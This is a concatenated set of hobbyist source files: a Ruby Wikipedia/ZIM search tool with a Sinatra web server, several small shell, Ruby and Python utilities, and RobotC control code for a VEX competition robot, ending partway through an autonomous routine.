article.title =~ /#{words.join(".*")}/i }. sort_by { |article| -score(article.title, words) } end end def zimdump_search_crappy(words, max_results=100) cmd = ["zimdump", "-f", words.join(" "), "-L", @file] lines = IO.popen(cmd, "r") { |io| io.each_line.take(max_results) } lines.map { |line| Article.from_line(self, line) } end def zimdump_search(words, max_results=100) regex = /#{words.join(".*")}/i cmd = ["zimdump", "-f", words.first, "-L", @file] matches = [] IO.popen(cmd, "r") do |io| io.each_line.with_index do |line, i| article = Article.from_line(self, line) # p article.title # if article.title[0...words.first.size] > words.first # p breaking_at: article.title # break # end matches << article if article.title[regex] break if i > max_results and not matches.empty? break if i > max_results*2 break if matches.size >= max_results end end matches end def each_article cmd = ["zimdump", "-n", "A", "-L", file] IO.popen(cmd, "r") do |io| io.each_line { |line| yield Article.from_line(self, line) } end end end ###################################################################### # require 'sequel' # class Index # attr_reader :db, :wiki # def initialize(wiki, file) # @wiki = wiki # @db = Sequel.sqlite(file) # end # def search(words, max=50) # query = "%#{words.join("%")}%" # db[:titles].where { title.like query }.limit(max) # end # def rebuild! # puts "* Creating table..." # db.create_table!(:titles) do # column :title, :text # column :article_id, :string # end # titles = db[:titles] # puts "* Adding articles..." # wiki.each_article do |article| # puts "|_ #{article.title}" # titles.insert(article.title, article.id) # end # puts "* Indexing..." # db.alter_table(:titles) { add_index :title } # end # end ###################################################################### WEBSERVER = proc do |wiki| $wiki = wiki require 'sinatra/base' class WebServer < Sinatra::Base SEARCH_FIELD = <<~HAML :css #searchbox { //float: right; //margin-right: 30%; max-width: 55.8em; margin: 0 auto 0 auto; } %form{action: "/", id: "searchbox"} %input{name: 'q', value: @query} %input{type: 'submit', value: "search"} HAML SEARCH_RESULTS = <<~HAML - if @query %h3 Searching for: = @query - else :javascript window.onload = function() { document.getElementsByName("q")[0].focus() } %ul - if @results - @results.each do |result| %li %a{href: "/" + result.url}= result.title / %a{href: "/" + result.id}= result.title HAML PAGE = <<~HAML %a{href: "/", style: "float: left;"} << HOME &nbsp; #{SEARCH_FIELD} = @article.body HAML before do end after do puts "GET #{request.path_info} (#{response.status})" end get "/favicon.ico" do article = $wiki.get_file("favicon.png") content_type "image/png" article.body end # /I/m/American_Samoa_location_map.svg.png get %r{/(?:-|I)/(.+)} do |filename| raise Sinatra::NotFound if filename[/\.js$/] ext = filename[/\.[^\.]+$/].downcase mimetype = Rack::Mime::MIME_TYPES[ext] article = $wiki.get_file(filename) content_type mimetype article.body end get "/:filename.html" do @article = $wiki.get_page(params["filename"]) p @article haml PAGE end get %r{/(\d+)} do |id| @article = $wiki.get(id) p @article haml PAGE end get "/" do if @query = params["q"] @results = $wiki.search(@query.split, 150) end haml SEARCH_FIELD + SEARCH_RESULTS #, {}, {query: query, results: results} end run! end end ###################################################################### def error(message, code=1) $stderr.puts message exit code end ###################################################################### # Parse options ###################################################################### opts = Slop.parse(help: true, strict: true) do banner "Usage: wik [options] <search terms>" on "s", "server", "Start server" on "f=", "zimfile", "ZIM file (defaults to 'wikipedia_en_all_*.zim')" on "i=", "index", "Index file (TSV)" on "r", "reindex", "Regenerate the TSV index" on "n=", "num-results", "Number of results", default: 10 end args = ARGV ###################################################################### if __FILE__ == $0 # ZIM file if zim = opts[:zimfile] zimfile = Path[zim] error("Couldn't find #{zimfile}") unless zimfile.exists? else zimfile = Path["~/.www.kiwix.org/kiwix/*.default/data/content/wikipedia_en_all_*.zim"].sort_by(&:mtime).last end # INDEX file if opts.reindex? indexfile = zimfile.with(ext: "tsv") puts "* Indexing #{zimfile}..." IO.popen(["zimdump", "-L", zimfile.to_s]) do |inp| indexfile.open("w") do |outp| inp.each_line.with_index do |line, i| outp.puts line print "\e[G |_ #{i.commatize}" if i % 357 == 0 end end end puts "* #{indexfile} created (#{indexfile.size.commatize} bytes)" else if index = opts[:index] indexfile = Path[index] else indexfile = zimfile.with(ext: "tsv") end end error("Couldn't find #{indexfile}") unless indexfile.exists? # Webserver if opts.server? WEBSERVER.call(Wiki.new(zimfile, indexfile)) exit end # Regenerate Index if opts.index? w.index.rebuild! exit end # Search from command line if args.empty? puts puts "Error: Must supply at least one search term".light_red puts puts opts exit 1 end w = Wiki.new(zimfile, indexfile) words = args results = w.search(words, opts[:n].to_i) # results = w.tsv_search(args, opts[:n].to_i) # results = w.zimdump_search(args, opts[:n].to_i) escaped_words = words.map { |word| Regexp.escape(word) } highlight_re = /(#{escaped_words.join("|")})/i colorized_results = results.map.with_index do |result, n| highlighted_title = result[:title].gsub(highlight_re) { |m| "<14>#{m}</14>" } "<7>#{n+1}<8>. <11>#{highlighted_title}".colorize end.reverse # puts Term::Table.new(colorized_results, :ansi=>true).by_columns colorized_results.each { |r| puts r } print "<8>select> <7>".colorize n = $stdin.gets.to_i article = results[n-1] # article = results.first ansi = IO.popen("html2text", "r+") do |markdown| markdown.write article.body markdown.close_write markdown_to_ansi(markdown.read) end lesspipe { |less| less.puts ansi } end <file_sep>#!/bin/bash git format-patch -1 "$@" <file_sep>#!/bin/bash git log --stat --all -- "**/*$@*"<file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: slice [options] <input file>" on "s=", "start", "start byte (0 is the first byte)" on "e=", "end", "end byte (if negative, set position relative to the end of the file)" on "o=", "output", "output file (default: input filename with byte-range appended)" end args = ARGV ######################################################## if args.size != 1 $stderr.puts "Error: Must supply exactly one filename" puts puts opts exit 1 end input = Path[args.first] startpos = opts[:start]&.to_i || 0 endpos = opts[:end]&.to_i || -1 endpos += input.size if endpos < 0 output = if opts[:output] Path[opts[:output]] else input.with(filename: "#{input.filename}_#{startpos}-#{endpos}") end length = (endpos - startpos) + 1 puts "* Slicing #{input}" puts " |_ output: #{output}" puts " |_ range: #{startpos}-#{endpos} (#{length} bytes)" input.open("rb") do |i| output.open("wb") do |o| IO.copy_stream(i, o, length, startpos) end end <file_sep>#!/bin/bash res=1400x900 disp=:1 if [ "$1" != "" ]; then Xephyr -screen $res $disp & sleep 1 DISPLAY=$disp $@ else exec Xephyr -screen $res $disp fi <file_sep>/* https://www.zotero.org/support/dev/client_coding/javascript_api available things: item.getFilePath() item.isAttachment() ZoteroPane.getSelectedItems() Zotero.RecognizePDF.recognizeItems(attached) Zotero.RecognizePDF.autoRecognizeItems(items) */ var items = ZoteroPane.getSelectedItems(); var attached = items.filter(function(i,n) { return i.isAttachment() }) Zotero.RecognizePDF.recognizeItems(attached) <file_sep>## FISH function blah echo $argv end begin; [COMMANDS...] end if CONDITION COMMANDS_TRUE... [else COMMANDS_FALSE...] end if CONDITION; COMMANDS_TRUE...; [else; COMMANDS_FALSE...;] end while CONDITION; COMMANDS...; end for VARNAME in [VALUES...]; COMMANDS...; end switch VALUE; [case [WILDCARD...]; [COMMANDS...]; ...] end Description <file_sep>#!/bin/bash xmodmap -pke | less -S<file_sep>#!/usr/bin/env python3 # # Goal: Replace youtube-dl with this, and it'll go faster (by keeping a copy running in the background that it talks to) # (not finished) # # TODOs: # - daemonize # - create a socket to read JSON blobs from the client # => { pwd: <client's pwd>, args: <ytdl args> } # - create a client # - make a dumb cmd.Cmd CLI for testing # import sys import os import readline realexit = sys.exit sys.exit = lambda n: print("they wanted me to die (%d) BUT I REFUSED" % n) current_dir, _ = os.path.split(sys.argv[0]) sys.path.append(current_dir+"/src/yt-dlp") print("* loading all the crap...") import yt_dlp print(" |_ done!") try: while True: #print("hit me > ", end="", flush=True) cmd = input("hit me > ").strip() if len(cmd) > 0: args = cmd.strip().split() yt_dlp.main(args) print("that was fun! let's go again!") except (KeyboardInterrupt, EOFError): print("ok, fine") realexit(0) <file_sep>#!/bin/bash sudoifnotroot apt-get -u install $* <file_sep>#!/bin/bash exec cat > /dev/null <file_sep>#!/usr/bin/env ruby require 'epitools' require 'open3' require 'coderay' # Run strace and capture stdout/stderr lesspipe do |less| Open3.popen3("strace #{ARGV.join ' '}") do |inp,out,err,wait_thr| p [:process_status, wait_thr.value] out.sync = true err.sync = true loop do readers, slurp = IO.select([err, out], [], [], 1) readers.each do |reader| p [:reader, reader] case reader when out #p [:out, reader.read] reader.read.lines.each { |line| less.puts line.strip.light_yellow } when err #p [:err, reader.read] less.puts CodeRay.scan(reader.read, :cplusplus).term else raise "WTF is this?! #{reader.inspect}" end end #p [:process_status, wait_thr.value] break if wait_thr.value.exited? end end end <file_sep>#!/usr/bin/env ruby require 'epitools' require 'mp3info' class Mp3Info def to_s; "#{tag.artist} - #{tag.album} - #{tag.title}"; end # POPM: http://www.id3.org/id3v2.3.0#head-2452ec9cf8b42c5c117b518b69e129ff67970852 def rating if tag2 and popm = tag2["POPM"] popm.split("\0").last.bytes.first else nil end end end #x = "/d/mp3/Sub Focus - Sub Focus (2009)/01-sub_focus-let_the_story_begin.mp3" ARGV << "**/*.mp3" unless ARGV.any? for arg in ARGV [Path[arg]].flatten.each do |path| Mp3Info.open(path) do |mp3| if rating = mp3.rating puts "[#{rating}] #{mp3.inspect}" end end end end <file_sep>#!/bin/bash agu && agd <file_sep>#!/bin/bash diff -ruN "$@" <file_sep>#!/bin/bash PYTHONPROFILEIMPORTTIME=1 python "$@" <file_sep>#!/bin/bash bacman "$@" <file_sep>#!/usr/bin/env ruby require 'slop' opts = Slop.parse(help: true, strict: true) do banner 'Usage: sample [options] <file(s)...>' on 'n=', 'amount', 'Number of random lines to print (default: 10)', as: Integer, default: 10 on 'c', 'csv', 'Treat files as CSVs (enabled automatically if filename ends in .csv)' end if ARGV.empty? puts opts exit 1 end lines = [] if opts.csv? or ARGV.first[/\.csv$/] require 'csv' ARGV.each { |arg| lines += CSV.read(arg) } CSV($stdout) do |csv| csv << lines.shift lines.sample(opts[:amount]).each { |row| csv << row } end else ARGV.each { |arg| lines += File.read(arg).lines } lines.sample(opts[:amount]).each { |line| puts line } end <file_sep>#!/bin/bash if ! which zbarimg &> /dev/null; then echo "Can't find zbarimg. Please install the 'zbar' package" exit 2 fi if [ "$1" == "" ]; then echo "usage: qrdecode <image>" exit 1 fi zbarimg "$1"
030714abac433df55f13e6c1a15711696e29d52d
[ "SQL", "Ruby", "Markdown", "JavaScript", "INI", "Python", "C", "Shell" ]
688
Shell
epitron/scripts
1cb2fc88b59d2f903439fd6c77b4ee5f75106a1a
e2fd34fe227303a6254f40af5b0705499726a0cd
refs/heads/master
<file_sep>#include "Filter.c" #include "MockRobotPowerTable.c" #include "StopLightControl.c" int shooter_target_speed = 0; // Global Variables for shooter control // These are set by the joystick methods task shooter_power_control(){ int last_right_clicks = 0; int last_left_clicks = 0; int last_read_time = -10; int print_value = 0; int left_power = 0; int right_power = 0; while(true) { // Variables for power control int current_right_clicks = SensorValue[rightShooter]; int current_left_clicks = SensorValue[leftShooter]; int current_read_time = nPgmTime; // current raw speed int elapsed_right_clicks = current_right_clicks - last_right_clicks; int elapsed_left_clicks = current_left_clicks - last_left_clicks; // int elapsed_time = current_read_time - last_read_time; // filtered speed int current_right_speed = filterRight(elapsed_right_clicks); int current_left_speed = filterLeft(elapsed_left_clicks); // Stoplight color controls int left_color = NONE; int right_color = NONE; // Do power control with filtered values; if(shooter_target_speed == 0){ right_color = NONE; right_power = 0; } // Speed is more than 25% below target else if(current_right_speed < (shooter_target_speed * 0.75)){ right_color = RED; right_power = 127; } // Speed is more than 25% above target else if(current_right_speed > (shooter_target_speed * 1.25)){ right_color = RED; right_power = getRightShooterPower(shooter_target_speed); } // Speed is between 10% and 1% below target else if(current_right_speed < (shooter_target_speed * 0.99)){ right_color = YELLOW; right_power = right_power + 1; } // Speed is between 1% and 10% above target else if(current_right_speed > (shooter_target_speed * 1.01)){ right_color = YELLOW; right_power = right_power - 1; } // Speed is in the 2% sweet spot else { right_color = GREEN; } // Motors are stopped if(shooter_target_speed == 0){ left_color = NONE; left_power = 0; } // Speed is MORE THAN 25% BELOW target else if(current_left_speed < (shooter_target_speed * 0.75)){ left_color = RED; left_power = 127; } // Speed is MORE THAN 25% ABOVE target else if(current_left_speed > (shooter_target_speed * 1.25)){ left_color = RED; left_power = getLeftShooterPower(shooter_target_speed); } // Speed is 10% BELOW target else if(current_left_speed < (shooter_target_speed * 0.99)){ left_color = YELLOW; left_power = left_power + 1; } // Speed is 10% ABOVE target else if(current_left_speed > (shooter_target_speed * 1.01)){ left_color = YELLOW; left_power = left_power - 1; } // Speed is within 2% sweet spot else { left_color = GREEN; } // Set Stoplight if((right_color == NONE) && (left_color == NONE)){ setStopLight(NONE); } else if((right_color == GREEN) && (left_color == GREEN)){ setStopLight(GREEN); } else if((right_color == RED) || (left_color == RED)){ setStopLight(RED); } else { setStopLight(YELLOW); } // Control motor power motor[leftTopShooter] = left_power; motor[rightTopShooter] = right_power; // End of power control work. // Save values for next reading time. last_left_clicks = current_left_clicks; last_right_clicks = current_right_clicks; last_read_time = current_read_time; delay(100); print_value = (print_value + 1); if(print_value == 10){ //writeDebugStreamLine("current_right_clicks: %d", current_right_clicks); //writeDebugStreamLine("elapsed_right_clicks: %d", elapsed_right_clicks); //writeDebugStreamLine("elapsed_time: %d", elapsed_time); //writeDebugStreamLine("current_read_time: %d", current_read_time); writeDebugStreamLine("************************************"); writeDebugStreamLine("shooter_target_speed: %d", shooter_target_speed); writeDebugStreamLine("left shooter power: %d", left_power); writeDebugStreamLine("current_left_speed: %d", current_left_speed); writeDebugStreamLine("right shooter power: %d", right_power); writeDebugStreamLine("current_right_speed: %d", current_right_speed); print_value = 0; } } } void set_shooter_targets(int speed){ // For now, set value and print a debug statement shooter_target_speed = speed; // shooter_target_power = power; writeDebugStreamLine("Shooter Target Speed: %d", shooter_target_speed); } void adjust_shooter_targets(int adjust_speed){ // For now, adjust value a bit, and print a debug statement shooter_target_speed = shooter_target_speed + adjust_speed; // shooter_target_power = shooter_target_power + adjust_power; writeDebugStreamLine("Shooter Target Speed: %d", shooter_target_speed); } void setIntakeSpeed(int speed){ motor[leftIntake] = speed; motor[rightIntake] = speed; } <file_sep>// Read Buttons to see if any are pushed bool driveTrainReversed = false; bool manualIntake = false; task controllerPolling(){ while(true){ // Puncher Held down if (vexRT[Btn5DXmtr2] == 1) motor[Puncher] = 127; else motor[Puncher] = 0; // Check each button and do actions if((vexRT[Btn8U] == 1) || (vexRT[Btn8UXmtr2] == 1)){ // Set motor target speed (Far), Channel 8, Button U set_shooter_targets(56); delay(500); } else if((vexRT[Btn8R] == 1) || (vexRT[Btn8RXmtr2] == 1)){ // Set motor target speed (Medium), Channel 8, Button R set_shooter_targets(46); delay(500); } else if((vexRT[Btn8D] == 1) || (vexRT[Btn8DXmtr2] == 1)){ // Set motor target speed (Short), Channel 8, Button D set_shooter_targets(38); delay(500); } else if((vexRT[Btn6U] == 1) || (vexRT[Btn6UXmtr2] == 1)){ // Adjust motor target speed (5 up), Channel 6, Button U adjust_shooter_targets(1); delay(250); } else if((vexRT[Btn6D] == 1) || (vexRT[Btn6DXmtr2] == 1)){ // Adjust motor target speed (5 down), Channel 6, Button D adjust_shooter_targets(-1); delay(500); } else if((vexRT[Btn8L] == 1) || (vexRT[Btn8LXmtr2] == 1)){ // Stop all motor speed (0), Channel 8, Button L if (shooter_target_speed == 0){ if (backOut == false) toggleShooterWheels = true; backOut = true; } set_shooter_targets(0); delay(500); } else if (backOut){ toggleShooterWheels = true; backOut = false; } else if((vexRT[Btn7U] == 1) || (vexRT[Btn7UXmtr2] == 1)){ // Forward Intake, Channel 7, Button U manualIntake = false; setIntakeSpeed(100); delay(250); } else if((vexRT[Btn7D] == 1) || (vexRT[Btn7DXmtr2] == 1)){ manualIntake = false; // Backward Intake, Channel 7, Button D setIntakeSpeed(-100); delay(250); } else if((vexRT[Btn7L] == 1) || (vexRT[Btn7LXmtr2] == 1)){ manualIntake = false; // Stop Intake, Channel 7, Button L setIntakeSpeed(0); delay(250); } else if(vexRT[Btn7R] == 1){ // Reverse drive train to enable easier intake control driveTrainReversed = !driveTrainReversed; setHeadLights(driveTrainReversed); delay(500); } delay(10); } } // Add driver joystick Controls here task driving(){ while(true) { if(driveTrainReversed == false){ //writeDebugStreamLine("***** Drive Loop ******"); if((vexRT[Ch2] > 20) || (vexRT[Ch2] < -20)) { //writeDebugStreamLine("***** Right Side Go ******"); motor[rightDrive] = vexRT[Ch2]; } else { motor[rightDrive] = 0; } if((vexRT[Ch3] > 20) || (vexRT[Ch3] < - 20)) { motor[leftDrive] = vexRT[Ch3]; } else { motor[leftDrive] = 0; } } else { //writeDebugStreamLine("***** Drive Loop ******"); if((vexRT[Ch2] > 20) || (vexRT[Ch2] < -20)) { //writeDebugStreamLine("***** Right Side Go ******"); motor[leftDrive] = (vexRT[Ch2] * -1); } else { motor[leftDrive] = 0; } if((vexRT[Ch3] > 20) || (vexRT[Ch3] < -20)) { motor[rightDrive] = (vexRT[Ch3] * -1); } else { motor[rightDrive] = 0; } } //Intake Joystick Control //writeDebugStreamLine("***** Drive Loop ******"); if((vexRT[Ch2Xmtr2] > 20) || (vexRT[Ch2Xmtr2] < -20)) { //writeDebugStreamLine("***** Right Side Go ******"); manualIntake = true; motor[Intake] = vexRT[Ch2Xmtr2]; } else { if(manualIntake){ motor[Intake] = 0; } } //Strafe if((vexRT[Ch4Xmtr2] > 20) || (vexRT[Ch4Xmtr2] < -20)) { motor[strafe] = vexRT[Ch4Xmtr2] / 2; } else { motor[strafe] = 0; } // Lifter controls if((vexRT[Btn5U] == 1)){ motor[rightLifter] = 80; } else if((vexRT[Btn5D] == 1)){ motor[rightLifter] = -80; } else { motor[rightLifter] = 0; } delay(50); } } // End Driver joystick Controls <file_sep>char *options[3]; const int optionCount = 3; const int leftButton = 1; const int centerButton = 2; const int rightButton = 4; void setOptions(){ options[0] = "Do stuff"; options[1] = "Other"; options[2] = "Meh"; } task main() { setOptions(); int option = 0; int selection = -1; while(nLCDButtons != centerButton){ displayLCDCenteredString(0, options[option]); delay(500); if(nLCDButtons == leftButton){ if (option == 0) option = optionCount - 1; else option = option - 1; } if(nLCDButtons == rightButton){ if (option == (optionCount - 1)) option = 0; else option = option + 1; } } selection = option; displayLCDCenteredString(0, "You selected"); displayLCDCenteredString(1, options[selection]); delay(10000); } <file_sep>// Read Buttons to see if any are pushed bool strafeMode = false; bool manualIntake = false; bool turning = false; bool turnBreaking = false; int lastTurnError = 0; task controllerPolling(){ while(true){ // Check each button and do actions if((vexRT[Btn8U] == 1) || (vexRT[Btn8UXmtr2] == 1)){ // Set motor target speed (Far), Channel 8, Button U // set_shooter_targets(850); delay(500); } else if((vexRT[Btn8R] == 1) || (vexRT[Btn8RXmtr2] == 1)){ // Set motor target speed (Medium), Channel 8, Button R //set_shooter_targets(700); delay(500); } else if((vexRT[Btn8D] == 1) || (vexRT[Btn8DXmtr2] == 1)){ // Set motor target speed (Short), Channel 8, Button D //set_shooter_targets(590); delay(500); } else if((vexRT[Btn6U] == 1) || (vexRT[Btn6UXmtr2] == 1)){ // Intake Forward only, apply breaking power to expeller motor[intake] = 127; } else if((vexRT[Btn6D] == 1) || (vexRT[Btn6DXmtr2] == 1)){ // Intake Reverse motor[intake] = -100; } else if((vexRT[Btn8L] == 1) || (vexRT[Btn8LXmtr2] == 1)){ // Stop all motor speed (0), Channel 8, Button L } else if((vexRT[Btn7U] == 1) || (vexRT[Btn7UXmtr2] == 1)){ // Forward Intake, Channel 7, Button U delay(250); } else if((vexRT[Btn7D] == 1) || (vexRT[Btn7DXmtr2] == 1)){ // Backward Intake, Channel 7, Button D delay(250); } else if((vexRT[Btn7L] == 1) || (vexRT[Btn7LXmtr2] == 1)){ // Stop Intake, Channel 7, Button L delay(250); } else if(vexRT[Btn5U] == 1){ // Turn drive train into strafe mode to enable easier access around the field strafeMode = !strafeMode; if(strafeMode){ SensorValue[in1] = 0; } delay(250); } else{ motor[intake] = 0; motor[expeller] = 0; } delay(10); } } // Add driver joystick Controls here task driving(){ while(true) { // Tank Drive Mode if(strafeMode == false){ //Right Drive; if((vexRT[Ch2] > 20) || (vexRT[Ch2] < -20)) { turning = true; turnBreaking = false; motor[rightDrive] = vexRT[Ch2]; } else { if (turnBreaking){ motor[rightDrive] = -1 * sgn(SensorValue[in1]) * 15; } else{ motor[rightDrive] = 0; } } // Left Drive if((vexRT[Ch3] > 20) || (vexRT[Ch3] < - 20)) { turning = true; turnBreaking = false; motor[leftDrive] = vexRT[Ch3]; } else { if (turnBreaking){ motor[leftDrive] = sgn(SensorValue[in1]) * 15; } else{ motor[leftDrive] = 0; } } // Should be stopped if(((vexRT[Ch3] < 20) && (vexRT[Ch3] > - 20)) && ((vexRT[Ch2] < 20) && (vexRT[Ch2] > - 20))){ if (turnBreaking){ if (abs(SensorValue[in1]) > (abs(lastTurnError) + 3)) // errors getting worse (surpress noise with 3) lastTurnError = SensorValue[in1]; else turnBreaking = false; } if(turning){ turning = false; lastTurnError = 0; SensorValue[in1] = 0; turnBreaking = true; } } } //In strafeMode else { //writeDebugStreamLine("***** Drive Loop ******"); if ((vexRT[Ch3] > 20) || (vexRT[Ch3] < -20) || (vexRT[Ch1] > 20) || (vexRT[Ch1] < -20)) { motor[rightDrive] = vexRT[Ch3] - (SensorValue[in1] / 4); motor[leftDrive] = vexRT[Ch3] + (SensorValue[in1] / 4); motor[strafeDrive] = vexRT[Ch1]; motor[strafeFront] = vexRT[Ch1]; } else { motor[strafeDrive] = 0; motor[strafeFront] = 0; motor[rightDrive] = 0; motor[leftDrive] = 0; } } //Intake Joystick Control //writeDebugStreamLine("***** Drive Loop ******"); if((vexRT[Ch2Xmtr2] > 20) || (vexRT[Ch2Xmtr2] < -20)) { motor[intake] = vexRT[Ch2Xmtr2]; } // Shooter controls if((vexRT[Btn5D] == 1) || (vexRT[Btn5DXmtr2] == 1)){ motor[shooterLeft] = 127; motor[shooterRight] = -127; } else { motor[shooterLeft] = 0; motor[shooterRight] = 0; } delay(5); } } // End Driver joystick Controls <file_sep>///////////////////////////////////////////////////////////////////////////////////////// // // Simple Test Harness // // This test harness can be used to check out lower level functions // This Harness DOES NOT include or use the Competition Functions // nor Competition Template, see CompetitionHarness // // Copy this and make as many simple harnesses as you want, it doesn't // conflict with any other stuff. Delete this whenever you want. // Use these to experiement with new automous programs, or other functions under development // ///////////////////////////////////////////////////////////////////////////////////////// //********************************************************************* // Test Harness-specific **Global Configuration Vaules** // // These control overall behavior of the code, allowing for advanced // Debug, Test, Experiment behaviors //********************************************************************* // Since this is testing on the PC emulator, we'll force Mock Delays // This overriddes the Mock Delays in the CoreAutoFunctions.c file. #ifndef MOCK_DELAYS #define MOCK_DELAYS int mockDelays = 3000; #endif // Need to pull in the Code Base for testing #ifndef CODE_BASE #define CODE_BASE #include "CoreAutoFunctions.c" #endif ////////////////////////////////////////////////////////////////////////////// // End Standard Harness Configurations ////////////////////////////////////////////////////////////////////////////// // Broken up as a seperate task, just for fun // Could have easily just been part of the overall main task task autoTestTask() { driveForward(500, 100); spinLeft(90, 100); driveForward(1000, 100); spinLeft(90, 100); } task main() { // Important, first set the config. // This is used by CoreAutoFunctions to force Emulation, Disable motors, etc. setConfig(); // Now do fun stuff !!! startTask(autoTestTask); delay(200000); } <file_sep>#pragma config(Sensor, dgtl1, GreenLight, sensorLEDtoVCC) #pragma config(Sensor, dgtl2, YellowLight, sensorLEDtoVCC) #pragma config(Sensor, dgtl3, RedLight, sensorLEDtoVCC) #pragma config(Sensor, dgtl11, FrontLED, sensorLEDtoVCC) #pragma config(Sensor, dgtl12, BackLED, sensorLEDtoVCC) #pragma config(Motor, port2, leftDrive, tmotorVex393_MC29, openLoop) #pragma config(Motor, port3, rightDrive, tmotorVex393_MC29, openLoop, reversed) #pragma config(Motor, port4, strafeDrive, tmotorVex393_MC29, openLoop) #pragma config(Motor, port5, strafeFront, tmotorVex393_MC29, openLoop) #pragma config(Motor, port6, expeller, tmotorVex393_MC29, openLoop) #pragma config(Motor, port7, intake, tmotorVex393_MC29, openLoop) #pragma config(Motor, port8, shooterLeft, tmotorVex393_MC29, openLoop) #pragma config(Motor, port9, shooterRight, tmotorVex393_MC29, openLoop) //*!!Code automatically generated by 'ROBOTC' configuration wizard !!*// #include "HeadLightControlRobotB.c" #include "DriverJoystickControlRobotB.c" task main() { bLCDBacklight = true; displayLCDCenteredString(0, "Calibrating Gyro"); SensorType[in1] = sensorNone; wait1Msec(1000); displayLCDCenteredString(1, "50% Complete"); SensorType[in1]= sensorGyro; wait1Msec(2000); displayLCDCenteredString(0, "Gyro Ready"); clearLCDLine(1); bLCDBacklight = false; setHeadLights(strafeMode); // User Control startTask(controllerPolling); startTask(driving); while(true) { delay(105000); } } <file_sep>int getShooterPower(int speed){ int power = 0; if (speed > 70){ power = 70; } else if (speed > 69){ power = 69; } else if (speed > 68){ power = 68; } else if (speed > 67){ power = 67; } else if (speed > 66){ power = 66; } else if (speed > 65){ power = 65; } else if (speed > 64){ power = 64; } else if (speed > 63){ power = 63; } else if (speed > 62){ power = 62; } else if (speed > 61){ power = 61; } else if (speed > 60){ power = 60; } else if (speed > 59){ power = 59; } else if (speed > 58){ power = 58; } else if (speed > 57){ power = 57; } else if (speed > 56){ power = 56; } else if (speed > 55){ power = 55; } else if (speed > 54){ power = 54; } else if (speed > 53){ power = 53; } else if (speed > 52){ power = 52; } else if (speed > 51){ power = 51; } else if (speed > 50){ power = 50; } else if (speed > 49){ power = 49; } else if (speed > 48){ power = 48; } else if (speed > 47){ power = 47; } else if (speed > 46){ power = 46; } else if (speed > 45){ power = 45; } else if (speed > 44){ power = 44; } else if (speed > 43){ power = 43; } else if (speed > 42){ power = 42; } else if (speed > 41){ power = 41; } else if (speed > 40){ power = 40; } else if (speed > 39){ power = 39; } else if (speed > 38){ power = 38; } else if (speed > 37){ power = 37; } else if (speed > 36){ power = 36; } else if (speed > 35){ power = 35; } else if (speed > 34){ power = 34; } else if (speed > 33){ power = 33; } else if (speed > 32){ power = 32; } else if (speed > 31){ power = 31; } else if (speed > 30){ power = 30; } else if (speed > 29){ power = 29; } else if (speed > 28){ power = 28; } else if (speed > 27){ power = 27; } else if (speed > 26){ power = 26; } else if (speed > 25){ power = 25; } else if (speed > 24){ power = 24; } else if (speed > 23){ power = 23; } else if (speed > 22){ power = 22; } else if (speed > 21){ power = 21; } else if (speed > 20){ power = 20; } else if (speed > 19){ power = 19; } else if (speed > 18){ power = 18; } else if (speed > 17){ power = 17; } else if (speed > 16){ power = 16; } else if (speed > 15){ power = 15; } else if (speed > 14){ power = 14; } else if (speed > 10){ power = 5; } else { power = 0; } return power; } <file_sep>#include "AutoShooting.c" task main() { writeDebugStreamLine("isShooterReady with 0 green out of 10 counts %s", isShooterReady(0,10)? "true":"false"); writeDebugStreamLine("isShooterReady with 10 green out of 10 counts %s", isShooterReady(10,10)? "true":"false"); writeDebugStreamLine("isShooterReady with 8 green out of 10 counts %s", isShooterReady(8,10)? "true":"false"); writeDebugStreamLine("isShooterReady with 10 green out of 10 counts %s", isShooterReady(10,10)? "true":"false"); writeDebugStreamLine("isShooterReady with 13 green out of 20 counts %s", isShooterReady(13,20)? "true":"false"); writeDebugStreamLine("isShooterReady with 10 green out of 20 counts %s", isShooterReady(10,20)? "true":"false"); writeDebugStreamLine("isShooterReady with 15 green out of 20 counts %s", isShooterReady(15,20)? "true":"false"); writeDebugStreamLine("isShooterReady with 19 green out of 20 counts %s", isShooterReady(19,20)? "true":"false"); } <file_sep>///////////////////////////////////////////////////////////////////////////////////////// // // Competition Test Harness // // The Competition test harness is used to test the Competition Functions // But can also add controls to make testing and modifications easier // // TODO: Allow configuration // // Copy this and make as many simple harnesses as you want, it doesn't // conflict with any other stuff. Delete this whenever you want. // ///////////////////////////////////////////////////////////////////////////////////////// #include "CompetitionFunctions.c" // This is just a simple check of the autonomous function. // TODO: Improve this by wrapping it in another tasks that can be killed by a timer, to // ensure the task is limited to the 20 autonomous seconds. task main() { writeDebugStreamLine("-- Starting Simple Comp Harness"); // Like the field, call the pre_auto method our_pre_auto(); // This is a test of autonomous our_auto(false); writeDebugStreamLine("-- Completed Simple Comp Harness"); } <file_sep>void setFrontLED (bool on) { if (on){ SensorValue[FrontLED] = 1; } else { SensorValue[FrontLED] = 0; } } void setBackLED (bool on) { if (on){ SensorValue[BackLED] = 1; } else { SensorValue[BackLED] = 0; } } void setHeadLights (bool reverse){ if (reverse) { setBackLED(true); setFrontLED(false); } else { setFrontLED(true); setBackLED(false); } } <file_sep>///////////////////////////////////////////////////////////////////////////////////////// // // Competition Functions // // This implements the Really Real functions that will be used in the competition // They are implemented here so they can be used both by the TeamCompetitionTemplate // AND the CompetitionHarness // // // the CompetitionHarness allows replay / debugging / tweeking of these functions // ///////////////////////////////////////////////////////////////////////////////////////// #ifndef CODE_BASE #define CODE_BASE #include "CoreAutoFunctions.c" #endif //******************************************************************************** // Function used to allow picking of next Autonomous step, for super testing //******************************************************************************** int getStepSelection(int currentStep, bool autoRun){ //TODO: make this work with buttons; //TODO: Keep supporting emulation return currentStep; } //******************************************************************************** // This function is run once at the start of the match. // Start Encoders, etc. //******************************************************************************** void our_pre_auto(){ writeDebugStreamLine("****** Starting Pre Auto Function **********************"); // Important, first set the config. // This is used by CoreAutoFunctions to force Emulation, Disable motors, etc. setConfig(); // Now do any other setup we want writeDebugStreamLine("****** Completed Pre Auto Function **********************"); } //////////////////////////////////////////////////////////////////////////////////// // Autonomous Routine supports "controlled" running, to allow steps to be replayed, // Speeds adjusted, and more. //////////////////////////////////////////////////////////////////////////////////// void our_auto(bool autoRun){ writeDebugStreamLine("****** Starting Autonomous Function **********************"); int stepCounter = 0; if(!autoRun){ writeDebugStreamLine("--- AutoRun == false ---- "); } // Increment this when there's more steps! while(stepCounter < 20){ writeDebugStreamLine("--Step number: %d", 